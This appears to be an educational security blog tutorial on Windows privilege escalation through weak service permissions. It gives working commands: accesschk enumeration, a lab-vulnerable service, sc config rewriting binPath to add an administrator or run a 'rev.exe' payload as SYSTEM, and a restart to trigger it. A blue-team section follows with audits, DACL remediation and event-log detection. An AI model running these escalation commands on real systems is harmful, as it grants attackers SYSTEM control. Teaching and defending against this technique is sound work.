Weak Service Permissions: Privilege Escalation via SERVICE_CHANGE_CONFIG on Windows

Windows Privesc
Time it takes to read this article 5 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Introduction / Overview

Windows services run with their own configured account, and many run as LocalSystem (NT AUTHORITY\SYSTEM). A service object is a securable object protected by a Discretionary Access Control List (DACL). If an administrator (or a sloppy installer) grants a low-privileged user or group the SERVICE_CHANGE_CONFIG right on a SYSTEM service, that user can rewrite the service's binary path (binPath) and have arbitrary code executed as SYSTEM on the next service start.

This is one of the most reliable local privilege escalation primitives on Windows and maps directly to MITRE ATT&CK T1574.011 — Hijack Execution Flow: Services Registry Permissions Weakness (and the broader T1543.003 — Windows Service). In this article you'll learn how to enumerate weak service ACLs with accesschk, confirm the exact granted right, abuse it with sc config, and — just as importantly — how a blue team detects and prevents it.

How it works / Background

Every service has a security descriptor exposed through the Service Control Manager (SCM). The access rights that matter for this attack are:

  • SERVICE_CHANGE_CONFIG — modify the service configuration, including binPath, the start type, and the run-as account. This is the key right for the attack.
  • SERVICE_START / SERVICE_STOP — start and stop the service so your new config takes effect.
  • SERVICE_ALL_ACCESS — full control (implies all of the above).
  • WRITE_DAC / WRITE_OWNER — rewrite the DACL itself, which lets you grant yourself anything.

If you hold SERVICE_CHANGE_CONFIG, you can point binPath at any command line. When the service starts, the SCM launches your command line in the security context configured for the service. If that account is LocalSystem, your payload runs as SYSTEM.

A subtlety worth understanding: for a true Windows service the binary is expected to talk back to the SCM. A generic command (like net user ...) is not a real service, so the SCM will report a 1053 timeout error after ~30 seconds — but the command still executes. That's all the attacker needs.

Prerequisites / Lab setup

To build a deliberately vulnerable service in a lab, create a service and weaken its DACL so the Users group gets change-config rights:

# Run as Administrator in the LAB only
sc.exe create VulnSvc binPath= "C:\Windows\System32\notepad.exe" start= demand
# Grant the built-in Users group SERVICE_CHANGE_CONFIG via an SDDL ACE (RPWPDTRC = start/stop/...; CC = SERVICE_CHANGE_CONFIG)
sc.exe sdset VulnSvc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWLOCRRC;;;IU)(A;;DCRPWP;;;BU)"

The (A;;DCRPWP;;;BU) ACE grants the Built-in Users group WP (SERVICE_CHANGE_CONFIG), RP (SERVICE_START), and DC (SERVICE_STOP) — exactly the dangerous combination.

Attack walkthrough / PoC

Step 1 — Enumerate services with weak permissions

Use accesschk to find services where your current user, the Users group, or Authenticated Users has write access. The -u suppresses errors, -w shows only write access, -c targets services, and * enumerates all of them.

# All services writable by "Authenticated Users"
accesschk.exe -uwcqv "Authenticated Users" * -accepteula

# Or check a specific principal / your own user
accesschk.exe -uwcqv "%USERNAME%" * -accepteula

# Inspect ONE service in detail
accesschk.exe -uwcqv VulnSvc -accepteula

A vulnerable result looks like this:

RW VulnSvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG      <-- the prize
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

The presence of SERVICE_CHANGE_CONFIG (or SERVICE_ALL_ACCESS) for a group you belong to is the green light. If you only have a PowerShell prompt and no accesschk, the built-in Get-Acl can't read service descriptors directly, but sc.exe sdshow VulnSvc dumps the SDDL string — look for an ACE containing WP for a SID you control (BU, IU, AU, or your own).

Step 2 — Identify the service account

Confirm the service runs as SYSTEM (otherwise you only escalate to whatever account it uses):

sc.exe qc VulnSvc

Look for SERVICE_START_NAME : LocalSystem in the output.

Step 3 — Rewrite binPath

Repoint the binary to a payload. A common first move is to add yourself to the local Administrators group. Note the spaces after =sc.exe requires binPath= value, not binPath=value.

sc.exe config VulnSvc binPath= "cmd.exe /c net localgroup administrators pentest /add"

You can also flip the start type to auto and ensure the run-as account is SYSTEM in the same breath if needed:

sc.exe config VulnSvc binPath= "cmd.exe /c C:\Windows\Temp\rev.exe" obj= LocalSystem start= auto

Step 4 — Trigger execution

sc.exe stop VulnSvc
sc.exe start VulnSvc

The start will likely return:

[SC] StartService FAILED 1053:
The service did not respond to the start request in a timely fashion.

That error is expected — your non-service command still ran as SYSTEM. Confirm:

net localgroup administrators

You should see your account listed. Log off and back on (or open a new elevated token) to inherit the new group membership.

Step 5 — Clean up

In an authorized engagement, restore the original binPath and DACL captured during enumeration so the service still works.

Mermaid diagram

Weak Service Permissions: Privilege Escalation via SERVICE_CHANGE_CONFIG on Windows diagram 1

Text version: a low-privileged user enumerates service ACLs with accesschk, finds SERVICE_CHANGE_CONFIG on a SYSTEM service, rewrites its binPath, restarts it, and the SCM runs the payload as SYSTEM.

Detection & Defense (Blue Team)

Misconfigured service permissions are an installer/operations problem, so defense is mostly about auditing and hardening configuration.

1. Audit service DACLs continuously. Run the same enumeration the attacker would, as part of a baseline scan:

accesschk.exe -uwcqv "Authenticated Users" * -accepteula
accesschk.exe -uwcqv "Users" * -accepteula
accesschk.exe -uwcqv "Everyone" * -accepteula

Any non-trivial service that returns SERVICE_CHANGE_CONFIG, WRITE_DAC, WRITE_OWNER, or SERVICE_ALL_ACCESS for a broad group is a finding. PowerUp (Invoke-AllChecks) and WinPEAS surface the same issues and are useful for self-assessment.

2. Remediate by resetting the DACL. Replace the weak descriptor with a least-privilege SDDL or simply remove the offending ACE:

# Inspect, then reset to a sane descriptor (admins + SYSTEM full, users read-only)
sc.exe sdshow VulnSvc
sc.exe sdset VulnSvc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCLCSWLOCRRC;;;IU)"

Note the user ACE now grants only CCLCSWLOCRRC (query/enumerate/read) — no WP/DC.

3. Monitor for live abuse with the Security and System event logs.

  • Event ID 7040 (System log, Service Control Manager) fires when a service's start type changes.
  • Event ID 7045 fires when a new service is installed.
  • A service binary path change does not have a dedicated ID, but enabling a SACL (audit ACE) on sensitive service objects produces Event ID 4670 ("Permissions on an object were changed") and object-access events. Pair this with Event ID 4697 (service installed, Security log) when "Audit Security System Extension" is on.
  • Sysmon Event ID 13 (registry value set) under HKLM\SYSTEM\CurrentControlSet\Services\<svc>\ImagePath is a high-fidelity signal that binPath was rewritten.

A detection rule of the form "non-admin process spawns sc.exe config ... binPath=" or "ImagePath modified followed by service start of a SYSTEM service" catches this cleanly.

4. Reduce the blast radius.

  • Run services as virtual service accounts or NT SERVICE\<name> / gMSA instead of LocalSystem where possible.
  • Keep service binaries in directories non-admins cannot write to (this also blocks the related unquoted service path and weak file-permission variants).
  • Apply Microsoft's recommended secure DACLs; the underlying issue is the same class addressed historically in advisories like the Windows 11 group-policy/service hardening updates.

For the bigger picture of how this fits into a full host-to-domain chain, see Windows privilege escalation enumeration and how SYSTEM-level access can pivot into credential theft for Kerberoasting.

Conclusion

Weak service permissions turn a single misplaced ACE into instant SYSTEM. The attacker's entire workflow is three tools: accesschk to find SERVICE_CHANGE_CONFIG, sc qc to confirm the SYSTEM run-as account, and sc config binPath= plus a restart to execute. For defenders, the fix is equally mechanical — audit service DACLs with the same accesschk queries, reset weak descriptors with sc sdset, and alert on ImagePath changes and sc.exe config from non-admin contexts. Treat any broad group holding write access to a SYSTEM service as a critical finding.

References

Comments

Copied title and URL